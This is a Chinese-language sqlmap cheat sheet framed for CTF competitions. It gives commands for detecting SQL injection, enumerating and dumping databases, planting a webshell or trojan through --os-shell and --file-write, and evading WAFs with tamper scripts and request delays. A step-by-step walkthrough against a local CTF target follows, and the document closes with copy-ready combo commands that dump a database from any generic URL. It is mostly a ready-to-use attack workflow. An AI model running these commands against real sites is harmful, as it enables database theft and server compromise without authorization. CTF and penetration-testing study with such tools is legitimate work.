一、SQLMap 核心使用命令提取
(一)目标指定命令(最基础,必用)
表格
| 命令格式 | 核心作用 | 关键点标注 | 适用场景 |
|---|---|---|---|
sqlmap -u "URL" |
探测 URL 中的 GET 参数注入点 | 1. URL 需包含明确参数(如?id=1);2. 自动判断注入类型(布尔盲注 / 报错注入等);3. 默认探测所有数据库类型 |
单 URL、GET 传参注入点探测 |
sqlmap -r 数据包文件.txt |
从抓包文件加载 HTTP 请求 | 1. 支持 POST 注入、带 Cookie 的注入;2. 抓包需包含完整 Header 和 Body;3. 自动识别请求中的参数(GET/POST/Cookie) | POST 表单注入、需登录的注入点 |
sqlmap -m URL列表.txt |
批量探测多个 URL | 1. 文本文件中每行一个 URL(需含参数);2. 自动逐个探测,节省时间;3. 支持混合 GET/POST 请求 | 批量扫描多个注入点(如 CTF 多关卡) |
sqlmap -u "URL" -p 参数名 |
指定单个参数探测 | 1. 多参数时优先指定可疑参数(如-p id);2. 减少无意义探测,提高效率 |
URL 含多个参数(如?id=1&page=2) |
(二)数据枚举命令(CTF 核心,脱库用)
表格
| 命令格式 | 核心作用 | 关键点标注 | 注意事项 |
|---|---|---|---|
sqlmap -u "URL" --dbs |
枚举所有数据库名 | 1. 无需知道库名,自动遍历;2. 支持 MySQL/Access/SQL Server 等主流数据库;3. Access 无库名,该命令无效 | 第一步枚举,获取目标数据库 |
sqlmap -u "URL" -D 库名 --tables |
枚举指定库的表名 | 1. 库名需从--dbs结果中获取;2. 自动过滤系统表,优先显示用户表;3. SQL Server 需指定-D master枚举系统库 |
第二步枚举,定位核心表(如 admin/user) |
sqlmap -u "URL" -D 库名 -T 表名 --columns |
枚举指定表的字段名 | 1. 表名需从--tables结果中获取;2. 显示字段类型和长度;3. 支持模糊匹配(如-T "user*") |
第三步枚举,获取关键字段(username/password) |
sqlmap -u "URL" -D 库名 -T 表名 -C 字段名 --dump |
导出指定字段数据 | 1. 字段名用逗号分隔(如-C username,password);2. 自动解码 MD5 等简单加密;3. 支持--start/--stop分页导出 |
最终脱库,CTF 核心目标(获取 flag / 账号密码) |
sqlmap -u "URL" --current-db |
获取当前数据库名 | 1. 快速定位目标库,无需枚举所有库;2. 结合--dbs使用,提高效率 |
已知目标库大致名称,快速确认 |
sqlmap -u "URL" --current-user |
获取当前数据库用户 | 1. 判断用户权限(如 root 是否有写权限);2. 权限高可尝试 getshell | 评估是否能进一步 getshell |
(三)getshell 命令(CTF 进阶,提权用)
表格
| 命令格式 | 核心作用 | 关键点标注 | 前置条件 |
|---|---|---|---|
sqlmap -u "URL" --os-shell |
一键获取系统命令执行环境 | 1. 自动写入 WebShell(支持 PHP/ASP/JSP);2. 需知道网站绝对路径;3. 数据库有写权限(MySQL 需secure_file_priv=) |
1. 知道网站绝对路径;2. 数据库用户有写权限;3. 支持堆叠注入或文件写入 |
sqlmap -u "URL" --file-write 本地文件 --file-dest 目标路径 |
上传本地文件到服务器 | 1. 本地文件可为木马、脚本;2. 目标路径需为网站可访问目录;3. 支持二进制文件(如图片木马) | 1. 知道网站绝对路径;2. 数据库有写权限 |
(四)探测配置命令(CTF 避坑,提高成功率)
表格
| 命令格式 | 核心作用 | 关键点标注 | 适用场景 |
|---|---|---|---|
sqlmap -u "URL" -v 3 |
设置详细输出级别 | 1. 级别 3 显示注入 payload;2. 级别 5 显示 HTTP 请求 / 响应;3. 级别 0 仅显示最终结果 | 调试注入点,查看绕过是否生效 |
sqlmap -u "URL" --level 3 |
设置探测等级 | 1. 级别≥2:探测 Cookie 参数;2. 级别≥3:探测 User-Agent/Referer;3. 级别 5:探测 Host 参数 | Cookie 注入、HTTP 头注入(CTF 常见考点) |
sqlmap -u "URL" --risk 2 |
设置风险等级 | 1. 级别 1:基础语句(无风险);2. 级别 2:增加时间盲注;3. 级别 3:增加or语句(风险高,可能删改数据) |
CTF 测试环境可设 2,真实环境慎用 3 |
sqlmap -u "URL" --random-agent |
随机生成 User-Agent | 1. 绕过基于 User-Agent 的拦截;2. 模拟正常浏览器请求;3. 支持自定义 User-Agent 列表 | 目标网站有 User-Agent 过滤 |
sqlmap -u "URL" --delay 1 |
设置请求延迟(秒) | 1. 绕过请求频率限制;2. 避免触发 WAF 拦截;3. 延迟越大,探测越慢 | 目标网站有防爬虫、频率限制 |
sqlmap -u "URL" --tamper 脚本名 |
使用 tamper 脚本绕过 WAF | 1. 内置脚本(如unionalltounion.py替换union all);2. 支持自定义脚本;3. 脚本需与注入类型匹配 |
CTF 中遇到 WAF 拦截(如安全狗) |
(五)其他实用命令(CTF 辅助)
表格
| 命令格式 | 核心作用 | 关键点标注 |
|---|---|---|
sqlmap -u "URL" --cookie "Cookie值" |
携带 Cookie 探测 | 需登录的注入点,Cookie 值从浏览器复制 |
sqlmap -u "URL" --batch |
自动选择默认选项 | 无需手动交互,批量扫描时用 |
sqlmap -u "URL" --dbms 数据库类型 |
指定数据库类型 | 跳过数据库判断,直接探测(如--dbms MySQL) |
sqlmap -u "URL" --hex |
十六进制导出数据 | 避免中文乱码,CTF 中 flag 含中文时用 |
sqlmap -u "URL" --dump-all |
导出所有库表数据 | 批量脱库,适合 CTF 快速拿 flag |
二、CTF 比赛 SQLMap 命令使用流程(实战版)
场景:CTF 某关卡,URL 为http://127.0.0.1/ctf/?id=1,目标是获取 flag(可能在flag表或admin表中)
步骤 1:探测注入点,确认注入类型
bash
运行
sqlmap -u "http://127.0.0.1/ctf/?id=1" -v 3 --batch
- 关键点 :
-v 3显示 payload,确认注入类型(如布尔盲注 / 报错注入);--batch自动跳过交互,节省时间。 - 预期结果:识别注入点(id 参数)、数据库类型(如 MySQL)、注入方式(如报错注入)。
步骤 2:枚举所有数据库,定位目标库
bash
运行
sqlmap -u "http://127.0.0.1/ctf/?id=1" --dbs --batch
- 关键点 :无需指定库名,自动遍历;CTF 中目标库名通常为
ctf/flag/security。 - 预期结果 :返回数据库列表(如
[ctf, mysql, test]),确定目标库为ctf。
步骤 3:枚举目标库的表名,定位核心表
bash
运行
sqlmap -u "http://127.0.0.1/ctf/?id=1" -D ctf --tables --batch
- 关键点 :
-D ctf指定目标库;CTF 中核心表通常为flag/admin/user。 - 预期结果 :返回表列表(如
[flag, user, log]),确定核心表为flag。
步骤 4:枚举核心表的字段名,确定 flag 字段
bash
运行
sqlmap -u "http://127.0.0.1/ctf/?id=1" -D ctf -T flag --columns --batch
- 关键点 :
-T flag指定核心表;CTF 中 flag 字段通常为flag/flag_content/secret。 - 预期结果 :返回字段列表(如
[id, flag]),确定 flag 字段为flag。
步骤 5:导出 flag 字段数据,完成解题
bash
运行
sqlmap -u "http://127.0.0.1/ctf/?id=1" -D ctf -T flag -C flag --dump --batch --hex
- 关键点 :
-C flag指定 flag 字段;--hex避免中文乱码;--dump导出数据。 - 预期结果 :返回 flag 值(如
CTF{sqlmap_1s_so_powerful})。
进阶步骤:遇到 WAF 拦截时的绕过流程
若步骤 1 探测时被 WAF 拦截(如安全狗),追加 tamper 脚本和延迟:
bash
运行
# 绕过WAF探测注入点
sqlmap -u "http://127.0.0.1/ctf/?id=1" -v 3 --batch --tamper unionalltounion.py --delay 1
# 后续枚举命令同样追加--tamper和--delay
sqlmap -u "http://127.0.0.1/ctf/?id=1" -D ctf -T flag -C flag --dump --batch --tamper unionalltounion.py --delay 1
三、CTF 使用关键注意事项
- 优先手动判断注入点 :先用
id=1'/id=1 and 1=1手动确认注入点,再用 SQLMap,避免工具误判。 - 精简命令,节省时间 :CTF 比赛时间有限,优先使用
--batch自动交互,避免冗余参数。 - 针对性绕过 :遇到拦截时,优先使用
--tamper脚本(内置脚本足够应对 CTF 场景),无需自定义。 - 注意绝对路径 :若需 getshell,提前通过报错注入或默认路径(如
/var/www/html/)获取网站绝对路径。 - 避免高危操作 :
--risk 3可能导致数据删改,CTF 测试环境可慎用,真实环境禁用。 - 导出数据保存 :使用
--output-dir 目录名将导出数据保存到本地,避免重复探测。
四、CTF 常用组合命令(直接复制使用)
- 快速探测 + 脱库(适用于简单注入点):
bash
运行
sqlmap -u "URL" --dbs --batch && sqlmap -u "URL" -D 库名 --tables --batch && sqlmap -u "URL" -D 库名 -T 表名 -C 字段名 --dump --batch
- POST 注入探测 + 脱库(适用于表单注入):
bash
运行
sqlmap -r post.txt --dbs --batch && sqlmap -r post.txt -D 库名 -T 表名 -C 字段名 --dump --batch
- 绕过 WAF + 脱库(适用于有防护的注入点):
bash
运行
sqlmap -u "URL" --tamper unionalltounion.py --delay 1 --dbs --batch && sqlmap -u "URL" --tamper unionalltounion.py --delay 1 -D 库名 -T 表名 -C 字段名 --dump --batch